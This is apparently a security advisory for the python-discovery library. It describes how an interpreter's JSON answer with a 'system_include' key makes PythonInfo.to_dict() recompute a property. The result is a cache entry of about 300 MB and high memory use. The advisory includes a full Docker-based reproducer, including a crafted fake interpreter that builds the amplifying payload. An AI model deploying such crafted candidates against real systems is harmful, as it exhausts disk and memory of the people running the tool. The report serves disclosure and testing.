Repository navigation
Description
A probed interpreter's JSON key named system_include makes PythonInfo.to_dict() recompute that property and inflate a small answer into a large DiskCache entry.
Affected code
src/python_discovery/_py_info.py:355 at the reported commit. The reproducer also returns BUG on current main 004294957ed227fe7e52b2864952ba09fd28b220.
Mechanism
to_dict() reads property names from the answer through getattr rather than preserving the JSON values.
Reproduction
Check out the reported commit or current main. Save the files below as named, then build and run:
docker build -t python-discovery-audit -f - . <<'DOCKERFILE'
FROM python:3.15-bookworm
RUN python -m venv /opt/venv
ENV PATH=/opt/venv/bin:$PATH
COPY . /src
WORKDIR /src
ENV SETUPTOOLS_SCM_PRETEND_VERSION=1.9.1
RUN pip install -e . --group test
DOCKERFILE
docker run --rm --network=none --memory=2g -u 0 -w /src \
-v "$PWD/repro:/tmp/repro:ro" -v "$PWD/repro.d:/tmp/repro.d:ro" \
python-discovery-audit /tmp/reprorepro
#!/usr/bin/env python3
import hashlib
import json
import shutil
import subprocess
import tempfile
from pathlib import Path
COLLECT_SCRIPT = "/src/src/python_discovery/_py_info_collect.py"
work = Path(tempfile.mkdtemp(prefix="python-discovery-repro-"))
def install_on_path(candidate_file, extra_key):
# the answer contains the candidate's path: both keys have 14 letters, so both answers have the same size
candidate = work / extra_key / "bin" / "python3.99"
candidate.parent.mkdir(parents=True)
shutil.copy(f"/tmp/repro.d/{candidate_file}", candidate)
candidate.chmod(0o755)
return candidate
def raw_answer(candidate):
# the same argv discovery uses, with dummy cookies: they come back reversed around the JSON
answer = subprocess.run([candidate, COLLECT_SCRIPT, "s" * 32, "e" * 32], capture_output=True, check=True).stdout
print(f"answer of {candidate}: {len(answer)} bytes: {answer[:50]} ... {answer[-50:]}")
return answer
def find_python(candidate):
cache_root = candidate.parent.parent / "cache"
tool = ["/opt/venv/bin/python", "/tmp/repro.d/find_python.py", candidate.parent, cache_root]
run = json.loads(subprocess.run(tool, capture_output=True, check=True).stdout)
# DiskCache layout: <root>/py_info/4/<sha256 of the interpreter path>.json
entry = cache_root / "py_info" / "4" / f"{hashlib.sha256(str(candidate).encode()).hexdigest()}.json"
run["cache_entry_bytes"] = entry.stat().st_size
return run
def show(label, run):
print(label)
if not run["spawned"]:
print(" spawned: nothing")
for argv in run["spawned"]:
print(" spawned:", *argv)
print(f" returned: {run['returned']}")
print(f" candidate's cache entry: {run['cache_entry_bytes']} bytes, peak RSS: {run['peak_rss_kb'] // 1024} MB")
# set up: one PATH directory per candidate, each holding a single python3.99
control = install_on_path("candidate_system_includf.py", "system_includf")
attack = install_on_path("candidate_system_include.py", "system_include")
control_answer = raw_answer(control)
attack_answer = raw_answer(attack)
# trigger: one lookup each on an empty cache, then the attack lookup again on the cache it wrote
control_run = find_python(control)
attack_run = find_python(attack)
attack_rerun = find_python(attack)
shutil.rmtree(work)
# check
show("CONTROL lookup, extra key system_includf, empty cache", control_run)
show("OBSERVED lookup, extra key system_include, empty cache", attack_run)
show("OBSERVED lookup, extra key system_include, cache written by the previous lookup", attack_rerun)
same_size_answers = len(control_answer) == len(attack_answer)
control_entry_not_amplified = control_run["cache_entry_bytes"] < 2 * len(control_answer)
attack_entry_amplified = attack_run["cache_entry_bytes"] > 1000 * len(attack_answer)
attack_memory_amplified = attack_run["peak_rss_kb"] > 10 * control_run["peak_rss_kb"]
print(
"BUG"
if same_size_answers and control_entry_not_amplified and attack_entry_amplified and attack_memory_amplified
else "OK"
)repro.d/candidate_system_include.py
#!/usr/local/bin/python3.15
# absolute shebang: discovery runs the candidate with nothing but PATH=<this file's directory>
import json
import os
import sys
collect_script, start_cookie, end_cookie = sys.argv[1:4]
sys.path.insert(0, os.path.dirname(collect_script))
from _py_info_collect import PythonInfoCollector
answer = PythonInfoCollector().to_dict()
answer["sysconfig_paths"]["include"] = "{a}" * 10000
answer["sysconfig_vars"]["a"] = "x" * 30000
answer["sysconfig_paths"]["headers"] = "no-such-dir/x" # no fallback directory, so system_include keeps the expansion
answer["system_include"] = None # the name of a PythonInfo property
sys.stdout.write(start_cookie[::-1] + json.dumps(answer) + end_cookie[::-1])repro.d/candidate_system_includf.py
#!/usr/local/bin/python3.15
# absolute shebang: discovery runs the candidate with nothing but PATH=<this file's directory>
import json
import os
import sys
collect_script, start_cookie, end_cookie = sys.argv[1:4]
sys.path.insert(0, os.path.dirname(collect_script))
from _py_info_collect import PythonInfoCollector
answer = PythonInfoCollector().to_dict()
answer["sysconfig_paths"]["include"] = "{a}" * 10000
answer["sysconfig_vars"]["a"] = "x" * 30000
answer["sysconfig_paths"]["headers"] = "no-such-dir/x"
answer["system_includf"] = None # one letter off: not the name of anything
sys.stdout.write(start_cookie[::-1] + json.dumps(answer) + end_cookie[::-1])repro.d/find_python.py
import json
import resource
import sys
from pathlib import Path
from python_discovery import DiskCache, get_interpreter
path_dir, cache_root = sys.argv[1:3]
spawned = []
sys.addaudithook(
lambda event, args: spawned.append([str(arg) for arg in args[1]]) if event == "subprocess.Popen" else None
)
found = get_interpreter("python3.99", env={"PATH": path_dir}, cache=DiskCache(Path(cache_root)))
print(
json.dumps({
"spawned": spawned,
"returned": found and found.executable,
"peak_rss_kb": resource.getrusage(resource.RUSAGE_SELF).ru_maxrss,
})
)Output on 004294957ed227fe7e52b2864952ba09fd28b220:
answer of /tmp/python-discovery-repro-dbpzv_zw/system_includf/bin/python3.99: 62638 bytes: b'ssssssssssssssssssssssssssssssss{"platform": "linu' ... b'em_includf": null}eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee'
answer of /tmp/python-discovery-repro-dbpzv_zw/system_include/bin/python3.99: 62638 bytes: b'ssssssssssssssssssssssssssssssss{"platform": "linu' ... b'em_include": null}eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee'
CONTROL lookup, extra key system_includf, empty cache
spawned: /usr/local/bin/python3.15 /src/src/python_discovery/_py_info_collect.py 5083cd52bdb4a7249fae12feef626c77 32cf34e420c2939fb2153228f6002d3b
spawned: /tmp/python-discovery-repro-dbpzv_zw/system_includf/bin/python3.99 /src/src/python_discovery/_py_info_collect.py 4ee6b43fadd235bfb4cf111009e6f4ef 871b67840de8944e28209a06695b27cc
returned: None
candidate's cache entry: 63289 bytes, peak RSS: 24 MB
OBSERVED lookup, extra key system_include, empty cache
spawned: /usr/local/bin/python3.15 /src/src/python_discovery/_py_info_collect.py 0b4b90842b8d693a23aa6e434d7e7677 c8a1baba6626094b6dc33df77e3bcd21
spawned: /tmp/python-discovery-repro-dbpzv_zw/system_include/bin/python3.99 /src/src/python_discovery/_py_info_collect.py ee9ad1ec5a7e9cfb34806de14a8cb6f2 7cfbac07971456316c95a1089cabdec9
returned: None
candidate's cache entry: 300063287 bytes, peak RSS: 883 MB
OBSERVED lookup, extra key system_include, cache written by the previous lookup
spawned: nothing
returned: None
candidate's cache entry: 300063287 bytes, peak RSS: 597 MB
BUG
Expected: The cache should store the supplied value or reject an unexpected key without evaluating a property.
Impact
Reproducibility is moderate because the setup requires a specific candidate or configuration. Exposure is unlikely: a candidate executable must return a property-shaped JSON key with a large path pattern. The reproduced effect stays within the caller's configured cache, search path, or interpreter.
Credits
Reported by Anthropic's OSS Scanner: ANT-2026-Z3HMDW60.
Activity